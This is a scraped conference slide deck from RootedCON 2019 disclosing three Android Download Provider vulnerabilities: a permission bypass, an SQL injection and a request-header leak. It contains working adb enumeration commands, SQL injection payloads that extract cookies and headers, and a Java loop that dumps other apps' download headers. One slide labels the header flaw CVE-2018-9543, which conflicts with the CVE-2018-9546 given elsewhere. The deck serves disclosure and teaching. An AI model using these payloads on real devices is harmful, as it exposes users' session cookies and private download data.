Sie sind auf Seite 1von 55

Android's Download Provider:

Discovering and exploiting


three high-risk vulnerabilities
CVE-2018-9468, CVE-2018-9493, CVE-2018-9546

Daniel Kachakil
RootedCON X (30/03/2019)
Daniel Kachakil
• Ingeniero en Informática
• Máster en Dirección y Gestión de Sistemas de Información
• Participante en CTFs y Miembro de int3pids
• Consultor de Seguridad Senior en

@Kachakil

2
Content Providers
Content Providers

CONTENT PROVIDER APP1

APP2
DB FILES

4
Content Providers (Introducción)
MyClass extends ContentProvider
• query()
• insert()
• update()
• delete()
• ...

AndroidManifest.xml
<manifest ... >
<application ... >

<provider android:name="ExampleProvider"
android:authorities="com.example.app.provider"
android:exported="true" ... />

</application>
</manifest>

5
Content Providers (Implementación)
public class ExampleProvider extends ContentProvider {
private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);

static {
uriMatcher.addURI("com.example.app.provider", "table3", 1);
uriMatcher.addURI("com.example.app.provider", "table3/#", 2);
}

@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
...
switch (uriMatcher.match(uri)) {
case 1:
if (TextUtils.isEmpty(sortOrder)) sortOrder = "_ID ASC";
break;

case 2:
selection = selection + "_ID = " + uri.getLastPathSegment();
break;

default:
...
}
}
...

6
Content Providers (Ejemplos de uso)
Query:
getContentResolver().query("content://com.example.app.provider/table3", null, null, null, null);
projection "c1, c2"
selection "c3=? AND c4=?"
Update: selectionArgs ["v3", "v4"]
sortOrder "c5 ASC"
ContentValues values = new ContentValues();
values.put(UserDictionary.Words.WORD, "test");
getContentResolver().update(UserDictionary.Words.CONTENT_URI, values, null, null);

Delete:
getContentResolver().delete(UserDictionary.Words.CONTENT_URI, null, null);

ADB:
adb shell content query --uri content://com.example.app.provider/table3/1234

7
Content Providers (Repositorios)
https://android.googlesource.com/
platform/packages/providers/UserDictionaryProvider/
platform/packages/providers/DownloadProvider/

https://github.com/aosp-mirror/
platform_packages_providers_downloadprovider

"The aosp-mirror GitHub account provides a read-only mirror of some of the


most common repositories from the Android Open Source Project."

8
User Dictionary Content
Provider
User Dictionary Content Provider
https://ioactive.com/discovering-and-exploiting-a-vulnerability-in-androids-personal-dictionary/

10
User Dictionary Content Provider (Update)
public int update(Uri uri, ContentValues values, String where, String[] whereArgs) {
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
int count;
switch (sUriMatcher.match(uri)) {
case WORDS:
count = db.update(USERDICT_TABLE_NAME, values, where, whereArgs);
break;

case WORD_ID:
String wordId = uri.getPathSegments().get(1);
count = db.update(USERDICT_TABLE_NAME, values, Words._ID + "=" + wordId +
(!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs);
break;

default:
throw new IllegalArgumentException("Unknown URI " + uri);
}

// Only the enabled IMEs and spell checkers can access this provider.
if (!canCallerAccessUserDictionary()) {
return 0;
}

getContext().getContentResolver().notifyChange(uri, null);
mBackupManager.dataChanged();
return count;
}

11
User Dictionary Content Provider (Delete)
public int delete(Uri uri, String where, String[] whereArgs) {
SQLiteDatabase db = mOpenHelper.getWritableDatabase();
int count;
switch (sUriMatcher.match(uri)) {
case WORDS:
count = db.delete(USERDICT_TABLE_NAME, where, whereArgs);
break;

case WORD_ID:
String wordId = uri.getPathSegments().get(1);
count = db.delete(USERDICT_TABLE_NAME, Words._ID + "=" + wordId +
(!TextUtils.isEmpty(where) ? " AND (" + where + ')' : ""), whereArgs);
break;

default:
throw new IllegalArgumentException("Unknown URI " + uri);
}

// Only the enabled IMEs and spell checkers can access this provider.
if (!canCallerAccessUserDictionary()) {
return 0;
}

getContext().getContentResolver().notifyChange(uri, null);
mBackupManager.dataChanged();
return count;
}

12
User Dictionary Content Provider (Manifest)
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.providers.userdictionary"
android:sharedUserId="android.uid.shared">

<application android:process="android.process.acore"
android:label="@string/app_label"
android:allowClearUserData="false"
android:backupAgent="DictionaryBackupAgent"
android:killAfterRestore="false"
android:usesCleartextTraffic="false">

<provider android:name="UserDictionaryProvider"
android:authorities="user_dictionary"
android:syncable="false"
android:multiprocess="false"
android:exported="true" />

</application>
</manifest>

13
Download Provider
Download Provider

15
Download Provider
+----------------------+ +--------------------------------------+ +-------------+
| | | | | |
| Download Manager | | Browser / Gmail / Market / Updater | | Viewer App |
| | | | | |
+----------------------+ +--------------------------------------+ +-------------+
^ | ^ ^ ^
| | | | |
| | | | |
| | | +---------------------------+ | |
| | | | | | |
| | | | | | |
| | +-------- - - - - - - - - - - - - ------------+ |
| | | | |
| | | | |
| +------------- - - - - - - - - - - - - -----------------------------+
| | |
| | |
+--------------->| Android framework |
| |
| |
+---------------------------+

https://android.googlesource.com/platform/packages/providers/DownloadProvider/+/refs/heads/master/docs/index.html

16
Download Provider
Application Download Manager Viewer App
| | |
| initiate download | |
|------------------------------------>| |
|<------------------------------------| |
| content provider URI | |
| | |
| query download | |
|------------------------------------>| |
|<------------------------------------| |
| Cursor | |
| | |
| register ContentObserver | |
|------------------------------------>| |
| | |
| ContentObserver notification | |
|<------------------------------------| |
| | |
| intent "notification clicked" | |
|<------------------------------------| |
| | |
| intent "download complete" | |
|<------------------------------------| |
| | intent "view" |
| |------------------------------------>|
| update download | |
|------------------------------------>| |
| | |
| open downloaded file | |
|------------------------------------>| |
|<------------------------------------| |
| ParcelFileDescriptor | |
| | |
| delete download | |
|------------------------------------>| |
| | |
v v v

17
Downloads.db
• downloads
• request_headers

• android_metadata
• sqlite_sequence

18
Downloads.db (Downloads)
Column Value
_id 4
uri https://ioactive.com/wp-content/uploads/2018/05/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
method 0
hint file:///storage/sdcard/Download/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
_data /storage/sdcard/Download/SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
mimetype application/pdf
destination 4
visibility 0
status 200
numfailed 0
lastmod 1530272171999
notificationpackage com.android.browser
total_bytes 2373708
current_bytes 2373708
etag "5c48eb6d3e48a5e09e97ababab3e3777"
uid 10016
title SCADA-and-Mobile-Security-in-the-IoT-Era-Embedi-FINALab.pdf
description ioactive.com
scanned 1
is_public_api 1
allow_roaming 1
allowed_network_types -1
is_visible_in_downloads_ui 1
bypass_recommended_size_limit 0
mediaprovider_uri content://media/external/file/22
Deleted 0
allow_metered 1
allow_write 0 19
Downloads.db (Request_Headers)
id download_id header value
1 4 Referer https://example.com/test
Mozilla/5.0 (Linux; Android 5.1.1; Android SDK built for x86_64 Build/LMY48X) AppleWebKit/537.36
2 4 User-Agent
(KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36
_gat_gtag_UA_10120511_1=1; euCookie=set; _ga=GA1.2.202646387.1530272140;
3 4 cookie _gid=GA1.2.989735187.1530272140; wp34793=WXACWDDDDDDBXYUYMVV-WWXC-XIYV-CHHM-
TUUTKZILKIVVDHBHVILHB-XYMX-XWUZ-HHTC-UWHXZBTMKHXXDphHJmpOL_Jht

20
Download Provider (Manifest)
<provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true">

<!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs -->
<path-permission android:pathPrefix="/my_downloads"
android:permission="android.permission.INTERNET" />

<!-- to access /all_downloads, ACCESS_ALL_DOWNLOADS permission is required -->


<path-permission android:pathPrefix="/all_downloads"
android:permission="android.permission.ACCESS_ALL_DOWNLOADS" />

<!-- Temporary, for backwards compatibility -->


<path-permission android:pathPrefix="/download"
android:permission="android.permission.INTERNET" />

<!-- Apps with access to /all_downloads/... can grant permissions, allowing them to share
downloaded files with other viewers -->
<grant-uri-permission android:pathPrefix="/all_downloads/" />

<!-- Apps with access to /my_downloads/... can grant permissions, allowing them to share
downloaded files with other viewers -->
<grant-uri-permission android:pathPrefix="/my_downloads/" />
</provider>

21
Download Content Provider (UriMatcher)
/** URI matcher used to recognize URIs sent by applications */
private static final UriMatcher sURIMatcher = new UriMatcher(UriMatcher.NO_MATCH);

/** URI matcher constant for the URI of all downloads belonging to the calling UID */
private static final int MY_DOWNLOADS = 1;

/** URI matcher constant for the URI of an individual download belonging to the calling UID */
private static final int MY_DOWNLOADS_ID = 2;

/** URI matcher constant for the URI of all downloads in the system */
private static final int ALL_DOWNLOADS = 3;

/** URI matcher constant for the URI of an individual download */


private static final int ALL_DOWNLOADS_ID = 4;

/** URI matcher constant for the URI of a download's request headers */
private static final int REQUEST_HEADERS_URI = 5;

/** URI matcher constant for the public URI returned by


* {@link DownloadManager#getUriForDownloadedFile(long)} if the given downloaded file is publicly accessible.
*/
private static final int PUBLIC_DOWNLOAD_ID = 6;

22
Download Content Provider (UriMatcher)
static {
sURIMatcher.addURI("downloads", "my_downloads", MY_DOWNLOADS);
sURIMatcher.addURI("downloads", "my_downloads/#", MY_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "all_downloads", ALL_DOWNLOADS);
sURIMatcher.addURI("downloads", "all_downloads/#", ALL_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "my_downloads/#/" +
Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "all_downloads/#/" +
Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI);

// temporary, for backwards compatibility


sURIMatcher.addURI("downloads", "download", MY_DOWNLOADS);
sURIMatcher.addURI("downloads", "download/#", MY_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "download/#/" +
Downloads.Impl.RequestHeaders.URI_SEGMENT, REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", Downloads.Impl.PUBLICLY_ACCESSIBLE_DOWNLOADS_URI_SEGMENT
+ "/#", PUBLIC_DOWNLOAD_ID);
}

23
Download Content Provider (UriMatcher)
static {
sURIMatcher.addURI("downloads", "my_downloads", MY_DOWNLOADS);
sURIMatcher.addURI("downloads", "my_downloads/#", MY_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "all_downloads", ALL_DOWNLOADS);
sURIMatcher.addURI("downloads", "all_downloads/#", ALL_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "my_downloads/#/headers", REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "all_downloads/#/headers", REQUEST_HEADERS_URI);

// temporary, for backwards compatibility


sURIMatcher.addURI("downloads", "download", MY_DOWNLOADS);
sURIMatcher.addURI("downloads", "download/#", MY_DOWNLOADS_ID);
sURIMatcher.addURI("downloads", "download/#/headers", REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "public_downloads/#", PUBLIC_DOWNLOAD_ID);
}

24
Download Content Provider (Query 1/3)
@Override
public Cursor query(final Uri uri, String[] projection, final String selection,
final String[] selectionArgs, final String sort) {

SQLiteDatabase db = mOpenHelper.getReadableDatabase();

int match = sURIMatcher.match(uri);


if (match == -1) {
if (Constants.LOGV) {
Log.v(Constants.TAG, "querying unknown URI: " + uri);
}
throw new IllegalArgumentException("Unknown URI: " + uri);
}

if (match == REQUEST_HEADERS_URI) {
if (projection != null || selection != null || sort != null) {
throw new UnsupportedOperationException("Request header queries do not support "
+ "projections, selections or sorting");
}
return queryRequestHeaders(db, uri);
}
...

25
Download Content Provider (Query 2/3)
SqlSelection fullSelection = getWhereClause(uri, selection, selectionArgs, match);

if (shouldRestrictVisibility()) {
if (projection == null) {
projection = sAppReadableColumnsArray.clone();
} else {
// check the validity of the columns in projection
for (int i = 0; i < projection.length; ++i) {
if (!sAppReadableColumnsSet.contains(projection[i]) &&
!downloadManagerColumnsList.contains(projection[i])) {
throw new IllegalArgumentException(
"column " + projection[i] + " is not allowed in queries");
}
}
}

for (int i = 0; i < projection.length; i++) {


final String newColumn = sColumnsMap.get(projection[i]);
if (newColumn != null) {
projection[i] = newColumn;
}
}
}

26
Download Content Provider (Query 3/3)
if (Constants.LOGVV) {
logVerboseQueryInfo(projection, selection, selectionArgs, sort, db);
}

SQLiteQueryBuilder builder = new SQLiteQueryBuilder();


builder.setTables(DB_TABLE);
builder.setStrict(true);
Cursor ret = builder.query(db, projection, fullSelection.getSelection(),
fullSelection.getParameters(), null, null, sort);

if (ret != null) {
ret.setNotificationUri(getContext().getContentResolver(), uri);
if (Constants.LOGVV) {
Log.v(Constants.TAG, "created cursor " + ret + " on behalf of " + Binder.getCallingPid());
}
} else {
if (Constants.LOGV) {
Log.v(Constants.TAG, "query failed in downloads database");
}
}

return ret;
}

27
Download Content Provider (Methods)
private SqlSelection getWhereClause(final Uri uri, final String where, final String[] whereArgs, int uriMatch) {
SqlSelection selection = new SqlSelection();
selection.appendClause(where, whereArgs);

if (uriMatch == MY_DOWNLOADS_ID || uriMatch == ALL_DOWNLOADS_ID || uriMatch == PUBLIC_DOWNLOAD_ID) {


selection.appendClause(Downloads.Impl._ID + " = ?", getDownloadIdFromUri(uri));
}
if ((uriMatch == MY_DOWNLOADS || uriMatch == MY_DOWNLOADS_ID)
&& getContext().checkCallingOrSelfPermission(Downloads.Impl.PERMISSION_ACCESS_ALL)
!= PackageManager.PERMISSION_GRANTED) {
selection.appendClause(Constants.UID + "= ? OR " + Downloads.Impl.COLUMN_OTHER_UID + "= ?",
Binder.getCallingUid(), Binder.getCallingUid());
}
return selection;
}

private boolean shouldRestrictVisibility() {


int callingUid = Binder.getCallingUid();
return Binder.getCallingPid() != Process.myPid() &&
callingUid != mSystemUid &&
callingUid != mDefContainerUid;
}

28
Permission "Bypass"

CVE-2018-9468
Public Downloads
<provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true">

<!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs -->
<path-permission android:pathPrefix="/my_downloads"
android:permission="android.permission.INTERNET" />

<!-- to access /all_downloads, ACCESS_ALL_DOWNLOADS permission is required -->


<path-permission android:pathPrefix="/all_downloads"
android:permission="android.permission.ACCESS_ALL_DOWNLOADS" />

<!-- Temporary, for backwards compatibility -->


<path-permission android:pathPrefix="/download"
android:permission="android.permission.INTERNET" />
...

DownloadProvider.java
static {
...
sURIMatcher.addURI("downloads", "public_downloads/#", PUBLIC_DOWNLOAD_ID);
}

30
Public Downloads
adb shell content query --uri content://downloads/public_downloads/1
adb shell content query --uri content://downloads/public_downloads/2
adb shell content query --uri content://downloads/public_downloads/3
adb shell content query --uri content://downloads/public_downloads/4
adb shell content query --uri content://downloads/public_downloads/5
...

31
Exploit

32
Download Content Provider (OpenFile 1/2)
@Override
public ParcelFileDescriptor openFile(final Uri uri, String mode) throws FileNotFoundException {
if (Constants.LOGVV) {
logVerboseOpenFileInfo(uri, mode);
}

// Perform normal query to enforce caller identity access before


// clearing it to reach internal-only columns
final Cursor probeCursor = query(uri, new String[] { Downloads.Impl._DATA }, null, null, null);
try {
if ((probeCursor == null) || (probeCursor.getCount() == 0)) {
throw new FileNotFoundException("No file found for " + uri + " as UID " + Binder.getCallingUid());
}
} finally {
IoUtils.closeQuietly(probeCursor);
}

...

33
Download Content Provider (OpenFile 2/2)
...

final int pfdMode = ParcelFileDescriptor.parseMode(mode);


if (pfdMode == ParcelFileDescriptor.MODE_READ_ONLY) {
return ParcelFileDescriptor.open(file, pfdMode);
} else {
try {
// When finished writing, update size and timestamp
return ParcelFileDescriptor.open(file, pfdMode, Helpers.getAsyncHandler(), new OnCloseListener() {
@Override
public void onClose(IOException e) {
final ContentValues values = new ContentValues();
values.put(Downloads.Impl.COLUMN_TOTAL_BYTES, file.length());
values.put(Downloads.Impl.COLUMN_LAST_MODIFICATION, System.currentTimeMillis());
update(uri, values, null, null);
...
}
});
...

34
SQL injection

CVE-2018-9493
Download Content Provider
@Override
public int update(final Uri uri, final ContentValues values, final String where, final String[] whereArgs) {
if (shouldRestrictVisibility()) {
Helpers.validateSelection(where, sAppReadableColumnsSet);
}
...

@Override
public int delete(final Uri uri, final String where, final String[] whereArgs) {
if (shouldRestrictVisibility()) {
Helpers.validateSelection(where, sAppReadableColumnsSet);
}
...

@Override
public Uri insert(final Uri uri, final ContentValues values) {
checkInsertPermissions(values);
...

36
Download Content Provider (Readable Columns)
private static final String[] sAppReadableColumnsArray = new String[] {
Downloads.Impl._ID,
Downloads.Impl.COLUMN_APP_DATA,
Downloads.Impl._DATA,
Downloads.Impl.COLUMN_MIME_TYPE,
Downloads.Impl.COLUMN_VISIBILITY,
Downloads.Impl.COLUMN_DESTINATION,
Downloads.Impl.COLUMN_CONTROL,
Downloads.Impl.COLUMN_STATUS,
Downloads.Impl.COLUMN_LAST_MODIFICATION,
Downloads.Impl.COLUMN_NOTIFICATION_PACKAGE,
Downloads.Impl.COLUMN_NOTIFICATION_CLASS,
Downloads.Impl.COLUMN_TOTAL_BYTES,
Downloads.Impl.COLUMN_CURRENT_BYTES,
Downloads.Impl.COLUMN_TITLE,
Downloads.Impl.COLUMN_DESCRIPTION,
Downloads.Impl.COLUMN_URI,
Downloads.Impl.COLUMN_IS_VISIBLE_IN_DOWNLOADS_UI,
Downloads.Impl.COLUMN_FILE_NAME_HINT,
Downloads.Impl.COLUMN_MEDIAPROVIDER_URI,
Downloads.Impl.COLUMN_DELETED,
OpenableColumns.DISPLAY_NAME,
OpenableColumns.SIZE,
};
37
Download Content Provider
adb pull /system/priv-app/DownloadProvider/DownloadProvider.apk .

38
Download Content Provider (ValidateSelection)
/**
* Checks whether this looks like a legitimate selection parameter
*/
public static void validateSelection(String selection, Set<String> allowedColumns) {
try {
if (selection == null || selection.isEmpty()) {
return;
}
Lexer lexer = new Lexer(selection, allowedColumns);
parseExpression(lexer);
if (lexer.currentToken() != Lexer.TOKEN_END) {
throw new IllegalArgumentException("syntax error");
}
} catch (RuntimeException ex) {
if (Constants.LOGV) {
Log.d(Constants.TAG, "invalid selection [" + selection + "] triggered " + ex);
} else if (false) {
Log.d(Constants.TAG, "invalid selection triggered " + ex);
}
throw ex;
}
}

39
Enable search for Downloads
https://android.googlesource.com/platform/packages/providers/
DownloadProvider/+/b759707b80987d0cb4ad2a3a78c11702a45a36c2

Title: Enable search for Downloads

Change-Id: Ide23c822b97ccab29a341184f14698dc942e8e14

Commit date: 10/05/2016 23:48:01

40
Enable search for Downloads

41
Enable search for Downloads

42
Enable search for Downloads (SQL injection)
adb shell content query --uri content://downloads/public_downloads/0
--where "('1'='1'))) ORDER BY lastmod DESC--"

Error while accessing provider:downloads


android.database.sqlite.SQLiteException: near "ORDER": syntax error (code 1): , while compiling:
SELECT _id, ... FROM downloads WHERE (((('1'='1'))) ORDER BY lastmod DESC--) AND (_id = ?)))

adb shell content query --uri content://downloads/public_downloads/0


--where "('1'='1')))) ORDER BY lastmod DESC--"

Error while accessing provider:downloads


android.database.sqlite.SQLiteException: near "ORDER": syntax error (code 1): , while compiling:
SELECT _id, ... FROM downloads WHERE ((('1'='1')))) ORDER BY lastmod DESC--) AND (_id = ?))

adb shell content query --uri content://downloads/public_downloads/0


--where "('1'='1')))) ORDER BY example DESC--"

Error while accessing provider:downloads


android.database.sqlite.SQLiteException: no such column: example (code 1): , while compiling:
SELECT _id, ... FROM downloads WHERE (((('1'='1')))) ORDER BY example DESC--) AND (_id = ?)))

43
Download Content Provider (SQL injection)
adb shell content query --uri content://downloads/public_downloads/0 ...
--where "1=1) OR (1=1"

--where "1=1) AND (_id=1 AND cookiedata LIKE 'a%') OR (1=1"

--where "1=1) AND (SELECT header FROM request_headers WHERE _id=1) LIKE 'a%' OR (1=1"

¿Por qué con OR?


Porque después getWhereClause() concatena por la derecha esto:
... AND (_id=?)

El operador AND tiene preferencia sobre OR:


→ WHERE (((1=1) AND (cond) OR (1=1) AND (_id = 0)))
→ WHERE ( true AND cond) OR (true AND false )
→ WHERE cond OR false
→ WHERE cond

44
SQLiteQueryBuilder.setStrict()
https://android.googlesource.com/platform/frameworks/base/+/
462aaeaa616e0bb1342e8ef7b472acc0cbc93deb

SQLiteQueryBuilder has a setStrict() mode which can be used to


detect SQL attacks from untrusted sources, which it does by running
each query twice: once with an extra set of parentheses, and if that
succeeds, it runs the original query verbatim.

This sadly doesn't catch inputs of the type "1=1) OR (1=1", which
creates valid statements for both tests above, but the final executed
query ends up leaking data due to SQLite operator precedence.

Instead, we need to continue compiling both variants, but we need


to execute the query with the additional parentheses to ensure
data won't be leaked.

45
Permission "Bypass"
(Headers)

CVE-2018-9543
Request Headers
<provider android:name=".DownloadProvider" android:authorities="downloads" android:exported="true">

<!-- Anyone can access /my_downloads, the provider internally restricts access by UID for these URIs -->
<path-permission android:pathPrefix="/my_downloads"
android:permission="android.permission.INTERNET" />

<!-- to access /all_downloads, ACCESS_ALL_DOWNLOADS permission is required -->


<path-permission android:pathPrefix="/all_downloads"
android:permission="android.permission.ACCESS_ALL_DOWNLOADS" />

<!-- Temporary, for backwards compatibility -->


<path-permission android:pathPrefix="/download"
android:permission="android.permission.INTERNET" />
...

DownloadProvider.java
static {
...
sURIMatcher.addURI("downloads", "my_downloads/#/headers", REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "all_downloads/#/headers", REQUEST_HEADERS_URI);
sURIMatcher.addURI("downloads", "download/#/headers", REQUEST_HEADERS_URI);
}

47
Download Content Provider (QueryRequestHeaders)
/**
* Handle a query for the custom request headers registered for a download.
*/
private Cursor queryRequestHeaders(SQLiteDatabase db, Uri uri) {
String where = Downloads.Impl.RequestHeaders.COLUMN_DOWNLOAD_ID + "=" + getDownloadIdFromUri(uri);

String[] projection = new String[] {Downloads.Impl.RequestHeaders.COLUMN_HEADER,


Downloads.Impl.RequestHeaders.COLUMN_VALUE};

return db.query(Downloads.Impl.RequestHeaders.HEADERS_DB_TABLE, projection, where, null, null, null, null);


}

48
"My" Downloads Headers
adb shell content query --uri content://downloads/my_downloads/1/headers
adb shell content query --uri content://downloads/my_downloads/2/headers
adb shell content query --uri content://downloads/my_downloads/3/headers
adb shell content query --uri content://downloads/my_downloads/4/headers
adb shell content query --uri content://downloads/my_downloads/5/headers
...

49
Download Headers (Exploit)
for (int id = 0; id <= 10000; id++) {
Uri uri = Uri.parse(MY_DOWNLOADS_URI + id + HEADERS_URI_SEGMENT);
Cursor cur = res.query(uri, null, null, null, null);

try {
if (cur != null && cur.getCount() > 0) {
StringBuilder sb = new StringBuilder(LOG_SEPARATOR);
sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append("\n");
while (cur.moveToNext()) {
String rowHeader = cur.getString(cur.getColumnIndex("header"));
String rowValue = cur.getString(cur.getColumnIndex("value"));
sb.append(rowHeader).append(": ").append(rowValue).append("\n\n");
}
log(sb.toString());
}
} finally {
if (cur != null)
cur.close();
}
}

50
Conclusiones
Conclusiones
• Detectar fallos en el código que se ve es relativamente fácil
• Detectarlos en el código que no está (y debería estar), no es tan obvio
• No hay que tener miedo a proyectos grandes y en teoría muy revisados

• Millones de dispositivos Android siguen siendo vulnerables a estos fallos


• Ojo con las apps que nos instalamos y con lo que descargamos desde Android

• Si desarrolláis apps y usáis el gestor de descargas de Android, no confiéis en


que el fichero descargado vaya a ser el mismo que el del servidor

52
Más información
Más información
• Blog post y vídeos demo:
• https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve-
2018-9468-cve-2018-9493-cve-2018-9546/
• Informes técnicos (Advisories):
• https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory-
Androids-Download-Provider-Permission-Bypass-CVE-2018-9468.pdf
• https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory-
Androids-Download-Provider-SQL-Injection-CVE-2018-9493.pdf
• https://ioactive.com/wp-content/uploads/2019/04/IOActive-Security-Advisory-
Androids-Download-Provider-Request-Headers-Disclosure-CVE-2018-9546.pdf
• Pruebas de concepto:
• https://github.com/IOActive/AOSP-DownloadProviderHijacker
• https://github.com/IOActive/AOSP-DownloadProviderDbDumper
• https://github.com/IOActive/AOSP-DownloadProviderHeadersDumper

54
¡Gracias!

Daniel Kachakil

https://github.com/ioactive

https://blog.ioactive.com

Das könnte Ihnen auch gefallen